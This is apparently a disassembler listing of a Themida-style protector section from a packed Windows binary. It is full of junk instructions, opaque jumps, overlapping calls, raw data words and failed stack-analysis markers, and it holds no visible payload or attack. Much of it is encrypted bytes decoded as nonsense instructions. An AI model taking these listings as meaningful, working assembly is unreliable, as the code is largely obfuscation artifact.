		xor	eax, 30D574DCh
		adc	ebx, ebp
		fmul	dword ptr [edx+4Eh]
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_6047AE	proc near		; CODE XREF: Themida_:0060479Ep
		push	ebx
		mov	edx, 1F2D4F39h
		pop	esi
		pop	ebx
		pusha
		sbb	ebx, 3D3217AAh
		cld
		popa
		mov	bl, dh
		and	dx, 0C02Bh
		movsx	ebx, bx
		cld
		jge	loc_6047D3
		movsx	edi, bx


loc_6047D3:				; CODE XREF: sub_6047AE+1Cj
		mov	edi, esi
		pusha
		jmp	loc_6047EF
; ---------------------------------------------------------------------------
		db 21h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0E0h, 95h, 0EBh
		dd 99820BC4h, 624469Fh,	847A7304h
		db 21h,	0Ah, 75h
; ---------------------------------------------------------------------------


loc_6047EF:				; CODE XREF: sub_6047AE+28j
		ja	loc_6047FA
		sub	bx, 70AFh


loc_6047FA:				; CODE XREF: sub_6047AE:loc_6047EFj
		popa
		call	near ptr loc_604810+1
		inc	ebp
		xor	[ebx-6907FBABh], ah
		fcomp	st(5)
		pop	ds
		insd
		mov	eax, ds:0B54DFF63h


loc_604810:				; CODE XREF: sub_6047AE+4Dp
		mov	ds:2860Fh, eax
sub_6047AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 51h
; ---------------------------------------------------------------------------
		pop	edi
		pop	edi
		mov	cx, 6D7Eh
		mov	cx, 15F0h
		jmp	loc_60482E
; ---------------------------------------------------------------------------
		and	al, 62h
		mov	eax, 6F09DA7Dh


loc_60482E:				; CODE XREF: Themida_:00604822j
		mov	edx, 1C9C60FEh
		mov	cx, di
		jmp	loc_604845
; ---------------------------------------------------------------------------
		db 7Ah
		dd 0AB380206h, 2BA43070h
; ---------------------------------------------------------------------------
		sahf


loc_604845:				; CODE XREF: Themida_:00604836j
		jb	loc_60484D
		mov	bl, 59h


loc_60484D:				; CODE XREF: Themida_:loc_604845j
		mov	dl, ah
		jmp	loc_60485D
; ---------------------------------------------------------------------------
		dd 0A2B65E68h, 0D80880Ah
		db 87h
; ---------------------------------------------------------------------------


loc_60485D:				; CODE XREF: Themida_:0060484Fj
		or	dh, 0D5h
		mov	dh, 89h
		mov	ah, 56h
		call	near ptr loc_604874+3
		xchg	eax, ebp
		cli
		add	eax, 64444836h
		xor	al, 0BAh
		mov	dh, 66h


loc_604874:				; CODE XREF: Themida_:00604864p
		jmp	near ptr 8BC676D3h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		pop	eax
		or	bl, 0F0h
		mov	dx, si
		xor	di, 2F2Fh
		mov	dx, 93E3h
		push	eax
		adc	dx, 0F3B5h
		pop	edi
		jnz	loc_6048A6
		jmp	loc_6048A6
; ---------------------------------------------------------------------------
		dd 0D4622899h, 4A47EBAEh
		db 0D3h, 85h
; ---------------------------------------------------------------------------


loc_6048A6:				; CODE XREF: Themida_:00604891j
					; Themida_:00604897j
		push	ecx
		add	dx, 3CE6h
		pop	esi
		mov	ecx, 75212287h
		mov	bx, si
		add	bx, 0FF5Eh
		sub	si, 0D8E0h
		mov	eax, 77B63227h
		clc
		jnb	loc_6048D5
		jo	loc_6048D5
		mov	ax, 5419h


loc_6048D5:				; CODE XREF: Themida_:006048C5j
					; Themida_:006048CBj
		js	loc_6048E0
		push	esi
		movzx	edx, di
		pop	edx


loc_6048E0:				; CODE XREF: Themida_:loc_6048D5j
		or	cx, 5E84h
		sub	ecx, 1E96A8E6h
		cmc
		push	ecx
		push	edi
		pusha
		popa
		pop	esi
		pop	edi
		stc
		jmp	loc_60490C
; ---------------------------------------------------------------------------
		dd 91520E6Fh, 0E25BE1Ch, 977CCBE8h, 61F407C4h, 0ACB84B83h
; ---------------------------------------------------------------------------


loc_60490C:				; CODE XREF: Themida_:006048F3j
		pusha
		jmp	loc_604923
; ---------------------------------------------------------------------------
		dw 85CDh
		dd 0F90D8A70h, 0B42C517Dh, 9453EA9Dh
		db 66h,	6Fh, 0DFh
; ---------------------------------------------------------------------------


loc_604923:				; CODE XREF: Themida_:0060490Dj
		cmc
		popa
		call	sub_604930
		or	[esi-2F064969h], ch

; =============== S U B	R O U T	I N E =======================================



sub_604930	proc near		; CODE XREF: Themida_:00604925p
		pop	edx
		stc
		jbe	loc_604942
		pusha
		push	ebx
		pop	edi
		sub	edi, 95A3A26h
		popa


loc_604942:				; CODE XREF: sub_604930+2j
		cmc
		jmp	loc_60495C
; ---------------------------------------------------------------------------
		dd 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 785AEBE3h,	0ABE989AAh
; ---------------------------------------------------------------------------


loc_60495C:				; CODE XREF: sub_604930+13j
		jmp	loc_604974
; ---------------------------------------------------------------------------
		db 9Ch,	0FCh, 0A1h
		dd 0E779765Ch, 55BC293Ah, 0E7E20447h, 72DB44DDh
; ---------------------------------------------------------------------------


loc_604974:				; CODE XREF: sub_604930:loc_60495Cj
		add	dh, 5Fh
		call	sub_604981
		mov	esp, 0FEB9C752h
sub_604930	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_604981	proc near		; CODE XREF: sub_604930+47p
		jz	$+6
		pop	ebx
		adc	ebx, 22C18FFh
		jb	$+6
		mov	esi, eax
		mov	di, bx
		or	edi, 15E30805h
		sub	al, 49h
		sub	esi, 6FFD7C0Dh
		jg	loc_6049B0
		mov	dl, 49h


loc_6049B0:				; CODE XREF: sub_604981+27j
					; sub_604981+3Bj
		mov	edi, ebx
		movsx	edi, ax
		pusha
		call	near ptr loc_6049C0+2
		pop	edx
		jns	short near ptr loc_6049B0+1
		das
		lodsd


loc_6049C0:				; CODE XREF: sub_604981+35p
		mov	bh, [eax+5FD08B66h]
sub_604981	endp ; sp-analysis failed

		pusha
		push	ebx
		pop	ebx
		popa
		popa
		add	ebx, 79A550C8h
		push	eax
		xor	bl, 20h
		pop	ecx
		xor	edx, 4690E2B1h
		jmp	loc_6049F2
; ---------------------------------------------------------------------------
		db 5, 18h, 98h
		dd 71C22267h, 5567911Fh, 0F28C3A70h
		db 39h,	82h
; ---------------------------------------------------------------------------


loc_6049F2:				; CODE XREF: Themida_:006049DCj
		movsx	edi, di
		pusha
		jmp	loc_604A05
; ---------------------------------------------------------------------------
		db 8Bh
		dd 44AD1982h, 0D7C37E2Bh
		db 1Ah
; ---------------------------------------------------------------------------


loc_604A05:				; CODE XREF: Themida_:006049F6j
		push	ebx
		mov	al, 5
		pop	edx
		popa
		mov	edx, ecx
		push	ebx
		mov	edi, 9FD97DFh
		pop	eax
		mov	dx, di
		jp	loc_604A20
		mov	si, 0F9F6h


loc_604A20:				; CODE XREF: Themida_:00604A16j
		mov	dx, cx
		clc
		jmp	loc_604A36
; ---------------------------------------------------------------------------
		db 0E2h, 53h, 2Ch
		dd 34CFD25Eh, 655C1E67h
; ---------------------------------------------------------------------------
		pop	ebp
		stc


loc_604A36:				; CODE XREF: Themida_:00604A24j
		mov	bx, si
		push	edx
		pop	eax
		mov	ecx, ebx
		mov	esi, 367F1DC2h
		jo	loc_604A4B
		movsx	edi, si


loc_604A4B:				; CODE XREF: Themida_:00604A42j
		call	near ptr loc_604A5A+1
		push	ebx
		sub	byte ptr [esi],	0A8h
		rep lodsb		; CODE XREF: Themida_:00604A58j
		dec	ecx
		xchg	eax, edx
		jns	short near ptr loc_604A54+1


loc_604A5A:				; CODE XREF: Themida_:loc_604A4Bp
		loop	loc_604A6B
		mov	eax, [ebx]
; ---------------------------------------------------------------------------
		dw 0
		dd 0FFB70F00h, 80EF805Ah
		db 8Bh,	0DEh, 0E8h
; ---------------------------------------------------------------------------


loc_604A6B:				; CODE XREF: Themida_:loc_604A5Aj
		adc	al, 0
; ---------------------------------------------------------------------------
		db 2 dup(0), 0EFh
		dd 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h,	66E0F27Dh
		dd 33B6CB81h, 0E8D78A5Eh, 0Ch, 5F424665h, 50476110h, 929D6CC0h
		dd 11E960h, 0DB370000h,	0BF937CE7h, 989C6A85h, 0A62466DBh
		dd 0E9C07CC6h, 0Ch, 5A636660h, 27CEC440h, 4D4182A3h, 0B70F5A61h
		dd 0BE8C8h, 8F420000h, 0CF83C50Fh, 0F9A6E1BFh, 38F0F60h
		dd 0F000000h, 665BF6B7h, 0D7ECE281h, 0FCFA88BBh, 0F480513Fh
		dd 0E850593Dh, 0Ah, 7111E325h, 0F10CA10Ch, 0B70FC293h
		dd 8B595EC2h, 1850FD7h,	0F5000000h, 28A0Fh, 0C88A0000h
		dd 5E9h, 9D22F800h, 81FC3EB8h, 0A4225FE1h, 66C0B743h, 0BA66F98Bh
		dd 8B661C6Eh, 0CB8AF9DFh, 8A53ED80h, 0ECB966F5h, 6800F63h
		dd 81000000h, 5091E9D2h, 0EB81667Fh, 0C9815CAAh, 4A1F7748h
		dd 16800F56h, 0E9000000h, 11h, 18E7B741h, 0E6F4160Ah, 8D308F3Dh
		dd 0B7257168h, 0C2805B6Bh, 0C98160B5h, 4AE61BF3h, 0F61F0B2h
		dd 8Bh,	12E8F900h, 74000000h, 0AA398A34h, 908CC0B0h, 0C05EAA67h
		dd 0A101C96Ah, 0BF0F606Fh, 615857FAh, 81666059h, 0F16D9C3h
		dd 1785h, 12E900h, 0CE3C0000h, 5B2BCFAFh, 8202E09Ah, 0C0589C2Ah
		dd 72797BA4h, 14E961h, 0ED440000h, 2F3DC619h, 0F9A1857h
		dd 38DCD926h, 0FBE44775h, 81665A6Fh, 0E9EC8FE3h, 5, 0C306BD1Dh
		dd 0E281661Fh, 0AE98AC2h, 0E000000h, 0A7E3D3A8h, 122787EFh
		dd 0D8B70F68h, 8166C8B3h, 0F9E42CFh, 58Eh, 0E1816600h
		dd 0DD8A580Fh, 0DB8166FCh, 0D18B68B3h, 2860Fh, 0FD8A0000h
		dd 5CEED281h, 8B660788h, 0F5350CFh, 89h, 0E9585E00h, 7
		dd 0BC2AA296h, 0E96640ACh, 5, 453C52BBh, 890F20h, 57000000h
		dd 0DE9h, 374F8900h, 197CF544h,	485F2A17h, 805A7AA7h, 0E86077CFh
		dd 7, 7D6B0A97h, 0BB8FE45Bh, 26367D71h,	6800F59h, 81000000h
		dd 0B6BB05DFh, 80F86151h, 8A0F75C4h, 4,	5EA5B752h, 0AE8h
		dd 43376400h, 0A6138369h, 0E914BD4Bh, 12h, 625408F7h, 21B9F048h
		dd 7656E725h, 0AFDB683h, 0F583E59h, 0A80h, 4860F00h, 66000000h
		dd 664F34BEh, 50AFC881h, 810F1CB3h, 12h, 0DE9h,	0E6B22B00h
		dd 0A5CF4993h, 0E5818377h, 830FA451h, 0
; ---------------------------------------------------------------------------
		mov	ah, bl
		jmp	loc_604D14
; ---------------------------------------------------------------------------
		db 3Eh
		dd 0C7B338BAh, 60A8B530h, 0EA63B6B1h
; ---------------------------------------------------------------------------


loc_604D14:				; CODE XREF: Themida_:00604D02j
		and	ah, 9Dh
		sbb	esi, 769E322h
		mov	edx, eax
		mov	cx, 0F295h
		jo	loc_604D2C
		or	bh, 0EFh


loc_604D2C:				; CODE XREF: Themida_:00604D23j
		sub	di, 0F10Bh
		jnp	$+6
		push	esi
		clc
		pop	edi
		jmp	loc_604D4C
; ---------------------------------------------------------------------------
		db 3Dh
		dd 0EBAFEA61h, 6570A636h, 8C425529h
; ---------------------------------------------------------------------------


loc_604D4C:				; CODE XREF: Themida_:00604D3Aj
		jmp	loc_604D57
; ---------------------------------------------------------------------------
		db 0AFh, 38h, 0CEh
		db 93h,	91h, 73h
; ---------------------------------------------------------------------------


loc_604D57:				; CODE XREF: Themida_:loc_604D4Cj
		stc
		jmp	loc_604D6C
; ---------------------------------------------------------------------------
		db 3Fh,	54h, 5Bh
		dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh
; ---------------------------------------------------------------------------


loc_604D6C:				; CODE XREF: Themida_:00604D58j
		or	dx, 0C9ADh
		mov	eax, 34FFD8A3h
		mov	ebx, 63CED327h
		mov	edi, 429A20E8h
		call	near ptr loc_604D89+2
		xchg	eax, ebp
		xor	dh, [edx-60h]


loc_604D89:				; CODE XREF: Themida_:00604D80p
		adc	byte ptr [eax-761C7E9Ah], 4
		pop	ebx
		mov	ebx, 75C0DF41h
		push	esi
		call	sub_604DAF
		iret
; ---------------------------------------------------------------------------
		db 0C0h, 0B5h, 0B8h
		dd 83E58B66h, 0C2FE6AAFh, 208CF035h
		db 0CAh, 74h, 2Bh

; =============== S U B	R O U T	I N E =======================================



sub_604DAF	proc near		; CODE XREF: Themida_:00604D97p

var_2584D030	= byte ptr -2584D030h

		call	loc_604DC4
		mov	ds:1D7CD906h, eax
		sar	dword ptr [esi+29h], 1
		sbb	[esp+edi*8-2584D02Fh], ch
		cmpsd
sub_604DAF	endp ; sp-analysis failed



loc_604DC4:				; CODE XREF: sub_604DAFp
		pop	edi
		pop	ebx
		pop	ecx
		movzx	ebx, si
		jnp	loc_604DD3
		mov	ax, cx


loc_604DD3:				; CODE XREF: Themida_:00604DCAj
		mov	eax, 328352EDh
		pusha
		jb	loc_604DE5
		jz	$+6


loc_604DE5:				; CODE XREF: Themida_:00604DD9j
		pusha
		jmp	loc_604DFD
; ---------------------------------------------------------------------------
		db 97h
		dd 872E79BFh, 0C02062FCh, 5CD8DF1Ch, 929218DFh
		db 0D4h
; ---------------------------------------------------------------------------


loc_604DFD:				; CODE XREF: Themida_:00604DE6j
		mov	di, 0DD27h
		popa
		popa
		pusha
		mov	dx, si
		mov	esi, edx
		popa
		mov	edi, 7FE46A54h
		jmp	loc_604E1A
; ---------------------------------------------------------------------------
		fist	word ptr [edi-41E97B0Fh]


loc_604E1A:				; CODE XREF: Themida_:00604E0Fj
		mov	bx, 1FE9h
		pusha
		mov	di, 0BE58h
		popa
		xor	si, 4455h
		mov	ch, 7Dh
		mov	ecx, 2103F70Eh
		jo	loc_604E37
		clc


loc_604E37:				; CODE XREF: Themida_:00604E30j
		movsx	edx, ax
		push	ecx
		push	ebx
		pop	ebx
		pop	esi
		jmp	loc_604E48
; ---------------------------------------------------------------------------
		jmp	short loc_604E46
; ---------------------------------------------------------------------------
		db 73h
; ---------------------------------------------------------------------------


loc_604E46:				; CODE XREF: Themida_:00604E43j
		popa
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------


loc_604E48:				; CODE XREF: Themida_:00604E3Ej
		clc
		mov	cx, si
		xor	cx, 2358h
		jz	loc_604E5A
		movsx	esi, si


loc_604E5A:				; CODE XREF: Themida_:00604E51j
		cld
		push	ecx
		add	ecx, 650E2735h
		pop	eax
		mov	di, 9250h
		jmp	loc_604E77
; ---------------------------------------------------------------------------
		dd 0F5AE3683h, 0F2DC0B2Eh
		db 0E9h, 6Eh, 8Fh
; ---------------------------------------------------------------------------


loc_604E77:				; CODE XREF: Themida_:00604E67j
		jge	loc_604E90
		jmp	loc_604E90
; ---------------------------------------------------------------------------
		dw 0B9BAh
		dd 78761D2Bh, 864B7156h, 5BD5A1E7h
; ---------------------------------------------------------------------------


loc_604E90:				; CODE XREF: Themida_:loc_604E77j
					; Themida_:00604E7Dj
		jmp	loc_604EA5
; ---------------------------------------------------------------------------
		db 20h,	0F3h, 0A4h
		db 0CCh
		db 5Fh,	3Ah, 71h
		dd 0D2EC7567h, 0A6FE6645h
		db 8
; ---------------------------------------------------------------------------


loc_604EA5:				; CODE XREF: Themida_:loc_604E90j
		stc
		jmp	loc_604EB6
; ---------------------------------------------------------------------------
		db 0DBh
		dd 6BBD6084h, 0C841575Eh
		db 38h,	51h
; ---------------------------------------------------------------------------


loc_604EB6:				; CODE XREF: Themida_:00604EA6j
		js	loc_604EC7
		jmp	loc_604EC7
; ---------------------------------------------------------------------------
		db 78h,	0Bh, 36h
; ---------------------------------------------------------------------------
		push	es
		mov	dh, 1Ah


loc_604EC7:				; CODE XREF: Themida_:loc_604EB6j
					; Themida_:00604EBCj
		push	eax
		mov	di, ax
		pop	eax
		or	di, 201h	; CODE XREF: Themida_:00604EEAj
		mov	cx, dx
		mov	edx, 66B54C52h
		mov	ah, 53h
		mov	eax, 4550C84Fh
		call	sub_604EF5
		pop	ebx
		cmp	al, [ebp+5Eh]
		leave
		jge	short near ptr loc_604ECC+1
		hlt
; ---------------------------------------------------------------------------
		db 0ABh, 0DCh, 12h
		dd 4BCE605Fh
		db 25h

; =============== S U B	R O U T	I N E =======================================



sub_604EF5	proc near		; CODE XREF: Themida_:00604EE0p
		pop	edi
		or	dx, 7C9Ch
		mov	dx, 0C0Ah
		mov	edx, ecx
		jg	loc_604F0C
		mov	edi, 0FFA8266h


loc_604F0C:				; CODE XREF: sub_604EF5+Cj
		movzx	edx, ax
		movsx	ecx, cx
		jmp	loc_604F28
; ---------------------------------------------------------------------------
		db 0E6h
		dd 0BEB0A8A5h, 8F01EF51h, 1076E5D4h, 881128FEh
; ---------------------------------------------------------------------------


loc_604F28:				; CODE XREF: sub_604EF5+1Dj
		add	edx, 7B9B7838h
		call	near ptr loc_604F36+2
		repne inc ebp
		inc	esi


loc_604F36:				; CODE XREF: sub_604EF5+39p
		mov	ds:28F0F3Ah, al
sub_604EF5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 59520000h, 810F605Eh, 4, 2BDEBE66h, 7E9h, 577F0400h
		dd 2BF0EAE8h, 99F68161h, 602CE2DBh, 59F18166h, 0DA8B6687h
		dd 0D3B96661h, 0C6E08030h, 830Fh, 0F600000h, 58Ah, 0EA816600h
		dd 8B666F29h, 666061F2h, 94B7D781h, 81666061h, 668E30DBh
		dd 615F35BAh, 0DE9h, 0CC421500h, 0EEB8ED3Dh, 0F83851Eh
		dd 0E8809769h, 14E90Bh,	0FBCF0000h, 0E6E65F68h,	8ABBF8CFh
		dd 0B4037BE6h, 71AE3ADAh, 9E9CEB3h, 0A0000000h,	443BC974h
		dd 18BD67A9h, 0EE8h, 19FD3F00h,	0C72B3BB6h, 606A9178h
		dd 0E9B66C63h, 0Dh, 3DCC4215h, 1EEEB8EDh, 690F8385h, 66525897h
		dd 8F36D781h, 4CBF6658h, 3830F8Eh, 0F000000h, 0E3BEF3BFh
		dd 0E922FBDEh, 10h, 0B48B8753h,	0B64A10A2h, 6BD5F1F6h
		dd 9FD24E76h, 989BEEB9h, 850FF548h, 0
; ---------------------------------------------------------------------------
		jmp	loc_605047
; ---------------------------------------------------------------------------
		db 88h,	0A9h, 0C3h
		dd 0ED427C28h, 35B7EF97h
		db 53h,	29h, 5Bh
; ---------------------------------------------------------------------------


loc_605047:				; CODE XREF: Themida_:00605034j
		pusha
		mov	si, 0F64Fh
		cmc
		popa
		sbb	ecx, 6980F7F5h
		mov	dl, cl
		cld
		mov	di, bx
		jmp	loc_60506F
; ---------------------------------------------------------------------------
		db 0D7h
		dd 46DB3812h, 2200E068h, 0C90A0D55h
; ---------------------------------------------------------------------------
		popa
		db	3Eh
		inc	ecx


loc_60506F:				; CODE XREF: Themida_:0060505Aj
		jmp	loc_60507E
; ---------------------------------------------------------------------------
		dd 8E779A70h, 808F0D98h
		db 0Ah
; ---------------------------------------------------------------------------


loc_60507D:				; CODE XREF: Themida_:0060509Dj
		outsb


loc_60507E:				; CODE XREF: Themida_:loc_60506Fj
		jmp	loc_60508F
; ---------------------------------------------------------------------------
		db 0C5h
		dd 8F96992Bh, 34D03213h
; ---------------------------------------------------------------------------
		xchg	bl, dl
		inc	esp


loc_60508F:				; CODE XREF: Themida_:loc_60507Ej
		sub	ch, 0C7h
		push	ecx
		call	near ptr loc_60509F+5
		push	edi
		shr	ch, 1Dh
		cwde
		jb	short loc_60507D


loc_60509F:				; CODE XREF: Themida_:00605093p
		fidiv	word ptr cs:[edx-207FD205h]
		mov	dword ptr [ebx+58h], 0CF8ACA8Bh
		jmp	loc_6050B9
; ---------------------------------------------------------------------------
		dw 0B6Fh
		dd 38673E8Fh
; ---------------------------------------------------------------------------
		setalc


loc_6050B9:				; CODE XREF: Themida_:006050ADj
		or	edx, 12575719h
		mov	ch, 4Bh
		jmp	loc_6050D4
; ---------------------------------------------------------------------------
		mov	esp, 1ED9CB5h
		sbb	eax, 0C239B284h
		push	esi
		pop	ebx
		pop	es
		xchg	eax, ebp


loc_6050D4:				; CODE XREF: Themida_:006050C1j
		or	edi, 7C211254h
		jmp	loc_6050EA
; ---------------------------------------------------------------------------
		db 0EFh
		db 0CCh
; ---------------------------------------------------------------------------
		mov	eax, 783C3737h
		lodsb
		pop	esp
		xchg	eax, ebx
		lahf


loc_6050EA:				; CODE XREF: Themida_:006050DAj
		jp	loc_6050F2
		mov	esi, edx


loc_6050F2:				; CODE XREF: Themida_:loc_6050EAj
		push	edx
		jmp	loc_605109
; ---------------------------------------------------------------------------
		mov	dh, 10h
		mov	esi, 45785B31h
		xchg	eax, esp
		add	[esi+9], dl
		mov	bl, 0C6h
		cmpsd
		fcom	dword ptr [ebx+ebx*2]


loc_605109:				; CODE XREF: Themida_:006050F3j
		pop	edi
		jle	loc_605124
		jmp	loc_605124
; ---------------------------------------------------------------------------
		xor	eax, 0D03E208h
		pop	eax
		sub	eax, [edx+7CF68B79h]
		adc	ah, al
		push	ds


loc_605124:				; CODE XREF: Themida_:0060510Aj
					; Themida_:00605110j
		adc	ax, 115Fh
		call	sub_60513A
		outsb
		or	eax, 816F695h
		lea	esi, [eax-3FB9FCD3h]

; =============== S U B	R O U T	I N E =======================================



sub_60513A	proc near		; CODE XREF: Themida_:00605129p

; FUNCTION CHUNK AT 006051E8 SIZE 00000010 BYTES

		mov	ebx, edi
		pop	ebx
		clc
		pusha
		jno	$+6
		movzx	ebx, di
		popa
		sbb	edi, 4DF16A2Ch
		and	dx, 5D50h
		mov	ecx, ebx
		jmp	loc_605169
; ---------------------------------------------------------------------------
		db 34h
		dd 233FDF19h, 0B9E30D24h, 0EA078AE2h
		db 0D5h
; ---------------------------------------------------------------------------


loc_605169:				; CODE XREF: sub_60513A+1Cj
		jmp	loc_605181
; ---------------------------------------------------------------------------
		dw 1B76h
		dd 9D31281Eh, 6D11A745h, 0CC29EAB3h, 0C4A92332h
		db 21h
; ---------------------------------------------------------------------------


loc_605181:				; CODE XREF: sub_60513A:loc_605169j
		cmc
		call	near ptr loc_605194+2
		fstp	dword ptr [eax]
		cmp	al, 0CBh
		xor	[ecx+3D1890D7h], cl
		inc	ecx
		jbe	short loc_6051E8


loc_605194:				; CODE XREF: sub_60513A+48p
		sbb	byte ptr [ecx-17h], 5
sub_60513A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 73000000h, 944ADE36h, 4830F5Ah, 66000000h, 0E9E07BBEh
		db 0Dh,	0
		dw 0			; CODE XREF: sub_60513A+B0j
		dd 5FD9FB8Eh, 50329321h, 7B8AAEC5h, 10E8D7h, 0E61D0000h
		dd 47FA1FB4h, 0F8AD4563h, 0ED632F89h, 0EA8A3F4Eh, 0AE959h
		dd 49530000h, 0AB18C8Fh, 0D9587B65h, 13E9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60513A


loc_6051E8:				; CODE XREF: sub_60513A+58j
		add	cl, al
		loop	near ptr word_6051AE
		mov	cl, 0E0h
		rep in al, 0A7h		; Interrupt Controller #2, 8259A
		xchg	eax, esi
		sbb	eax, 0D5191AB3h
		retn
; END OF FUNCTION CHUNK	FOR sub_60513A
; ---------------------------------------------------------------------------
		mov	ah, 1Ah
		jz	short loc_605277
		mov	ebx, 3C3A10E4h
		jmp	loc_605216
; ---------------------------------------------------------------------------
		dw 8084h
		dd 78727A29h, 73B93292h, 59E2CE99h
		db 0A6h, 0A1h
; ---------------------------------------------------------------------------


loc_605216:				; CODE XREF: Themida_:00605201j
		mov	ebx, 53C0FE5Ah
		mov	ax, 0B39Ch
		push	esi
		push	ecx
		mov	di, ax
		pop	ebx
		pop	edx
		call	near ptr loc_605235+3
		inc	eax
		sal	byte ptr [ecx-71h], cl
		les	edi, [edi-1ABF3E74h]


loc_605235:				; CODE XREF: Themida_:00605226p
		jmp	far ptr	5AC7h:8B66A14Bh
; ---------------------------------------------------------------------------
		dd 51EA8060h, 28C0Fh, 5B520000h, 0B97BBF61h, 48B35FAEh
		dd 4800FF8h, 66000000h,	6099D8BEh, 10810Fh, 0AE80000h
		dd 0E4000000h, 5B3B601h, 312D3E95h, 81665B68h
		db 0E9h, 69h, 63h
; ---------------------------------------------------------------------------


loc_605277:				; CODE XREF: Themida_:006051FAj
		popa
		sub	dx, 6C4Eh
		sbb	bh, 4Eh
		mov	dx, 8266h
		jz	loc_60528F
		or	bx, 1D48h


loc_60528F:				; CODE XREF: Themida_:00605284j
		mov	esi, 63FBEE8Dh
		mov	ah, cl
		call	sub_6052AB
		retf
; ---------------------------------------------------------------------------
		rol	dword ptr ds:658328Bh, 0F0h
		aaa
		jg	short loc_6052C6
		pop	es
		adc	byte ptr [edx-3Dh], 4Bh

; =============== S U B	R O U T	I N E =======================================



sub_6052AB	proc near		; CODE XREF: Themida_:00605296p
		mov	ecx, 7D20DA8h
		pop	ecx
		mov	ebx, 7C4C1AB2h
		cmc
		pusha
		jmp	loc_6052C7
; ---------------------------------------------------------------------------
		db 2Ch,	0E8h, 69h
		dd 5E36F3CAh
; ---------------------------------------------------------------------------
		xor	al, 0E4h


loc_6052C6:				; CODE XREF: Themida_:006052A4j
		push	ss


loc_6052C7:				; CODE XREF: sub_6052AB+Dj
		adc	bl, 7
		popa
		cld
		pusha
		mov	eax, ebx
		xor	eax, 2B484097h
		popa
		jp	loc_6052F9
		call	sub_6052F2
		imul	ebx, [edi-7Dh],	69h
		retn
sub_6052AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 5768h
		dd 0C75B165Bh, 98977028h
; ---------------------------------------------------------------------------
		or	al, 3Eh

; =============== S U B	R O U T	I N E =======================================



sub_6052F2	proc near		; CODE XREF: sub_6052AB+31p
		adc	ebx, 6DAFE31Bh
		pop	edi


loc_6052F9:				; CODE XREF: sub_6052AB+2Bj
		jnz	$+6
		sbb	ebx, 143EC7Ah
		call	near ptr loc_605312+4
		dec	ebp
		pop	ebp
		xchg	eax, ecx
		xchg	eax, ebp
		bound	edi, [edi]
		dec	esp
		pop	esi


loc_605312:				; CODE XREF: sub_6052F2+13p
		repne add ebx, [ebp-397E99D1h]
sub_6052F2	endp ; sp-analysis failed

		insd
		mov	dh, 59h
		push	ecx
		jmp	loc_605328
; ---------------------------------------------------------------------------
		and	[ecx], bl
		mov	bl, 0D6h
		fldlg2


loc_605328:				; CODE XREF: Themida_:0060531Dj
		pop	edx
		mov	di, cx
		cmc
		mov	esi, 68FEF366h
		push	ebx
		jp	loc_60533C
		mov	di, dx


loc_60533C:				; CODE XREF: Themida_:00605333j
		pop	edx
		mov	cx, 67A8h
		mov	edx, 477EDC78h
		sbb	ecx, 781CC25Bh
		and	esi, 57D5A85Dh
		add	ebx, 34C6D0F8h
		add	edi, 7801A372h
		jmp	loc_605375
; ---------------------------------------------------------------------------
		db 48h
		dd 34ECD775h, 407D8E02h, 48442CC1h, 257F2292h
		db 75h
; ---------------------------------------------------------------------------


loc_605375:				; CODE XREF: Themida_:0060535Ej
		jb	loc_605380
		sbb	bx, 7B34h


loc_605380:				; CODE XREF: Themida_:loc_605375j
		sbb	dh, 31h
		jo	loc_60539F
		jge	loc_60539F
		jmp	loc_60539F
; ---------------------------------------------------------------------------
		dd 0DF80AAE9h, 818CFF9Ch
		db 0D8h, 0DEh, 34h
; ---------------------------------------------------------------------------


loc_60539F:				; CODE XREF: Themida_:00605383j
					; Themida_:00605389j ...
		push	ebx
		clc
		pop	ebx
		sub	di, 98D1h
		jbe	loc_6053B0
		and	bl, 41h


loc_6053B0:				; CODE XREF: Themida_:006053A7j
		call	sub_6053C3
		lodsb
		das
		insb
		loop	near ptr loc_6053B8+1 ;	CODE XREF: Themida_:loc_6053B8j
		mov	dl, 52h
		lodsd
; ---------------------------------------------------------------------------
		db 8Fh,	20h, 0B7h
; ---------------------------------------------------------------------------
		cld
		mov	dl, 0A1h

; =============== S U B	R O U T	I N E =======================================



sub_6053C3	proc near		; CODE XREF: Themida_:loc_6053B0p
		call	near ptr loc_6053CD+1
		xor	[edi+23h], bh
		in	al, 0D7h


loc_6053CD:				; CODE XREF: sub_6053C3p
		test	ebp, ecx
sub_6053C3	endp ; sp-analysis failed

		or	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 4Eh
		dd 29D05D32h, 0FCF7712Ah, 595A1A72h, 0FE9h, 0DDAD2800h
		dd 0DC605D02h, 0A42A7AB1h, 640CBEA5h, 0CE8h, 3301AB00h
		dd 0E543D388h, 7EAC528Bh, 12E8DEh, 48130000h, 69D12E9Bh
		dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 8E0F5F5Eh, 6, 0F018E081h
		dd 0C2813917h, 61F230ECh, 0F8BCDF80h, 5840Fh, 80500000h
		dd 605BF6D5h, 0E9F6B70Fh, 0Bh, 0CD819B71h, 6B8D8548h, 6152448Eh
		dd 9BD38166h, 14E932h, 0EB350000h, 0C0761524h, 16F73B12h
		dd 0CCF4845Fh, 0A160B80Fh, 8E0FB418h, 11h, 0B880Fh, 6E90000h
		dd 17000000h, 4C5F0ED2h, 9E9FEh, 248D0000h, 1A9F7D47h
		dd 0E84A9FEDh, 10h, 79E2AEADh, 3DEF5D2Bh, 0A9ECDA1Eh, 0A4F9A27Fh
		dd 0E959EC8Ah, 13h, 457C6157h, 71097460h, 0C4E3C214h, 0A3F5D5C3h
		dd 0F501008h, 680h, 6AE78100h, 8A3762ADh, 0F0B70FC5h, 0BEC5E181h
		dd 8B523191h, 0E9525EFEh, 0Ch, 25E73AEDh, 2756662Dh, 8E5F40FBh
